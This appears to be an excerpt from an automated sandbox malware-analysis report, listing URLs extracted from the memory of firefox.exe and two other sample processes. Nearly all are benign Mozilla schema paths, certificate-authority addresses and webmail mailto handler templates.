Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureIdhttp:/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/valueplaces.sql
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureIdhttp:/
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties/additionalProperties
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B585F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/startDate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5879000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B587D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2569339923.000002B9B4B04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2587921899.000002B9B6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2563449908.000002B9B492C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%shandlerSvc
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2534045766.000002B9B0C7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttps://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHa
Source: firefox.exe, 00000019.00000002.2557668290.000002B9B2FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: 7f3598dc65.exe, 00000010.00000003.2409524653.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2491508382.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2426207049.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2453756158.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2546772393.000000000066E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2389541459.000000000062E000.00000004.00000020.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2471991799.000000000062E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateBITS_IDLE_NO_PROGRESS_TIMEOUT_SECSPREF_APP_UPDATE_SERVICE_MAXE
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000019.00000002.2568534230.000002B9B4A0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2595976581.000002B9B70B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2571069879.000002B9B4D4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B579F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B103C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6F3F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2595976581.000002B9B70B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul_setupEventListeners/
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/firefox-view-tabs-s
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Sessio
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/LightweightTheme
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulurlclassifier.features.cryptomining.ann
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1740958457.00000000058EB000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000008.00000003.2256753219.000000000591D000.00000004.00000800.00020000.00000000.sdmp, 7f3598dc65.exe, 00000010.00000003.2424492079.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCF7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2480618432.000002B9BC777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2574304998.000002B9B5111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000019.00000002.2561919945.000002B9B48C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
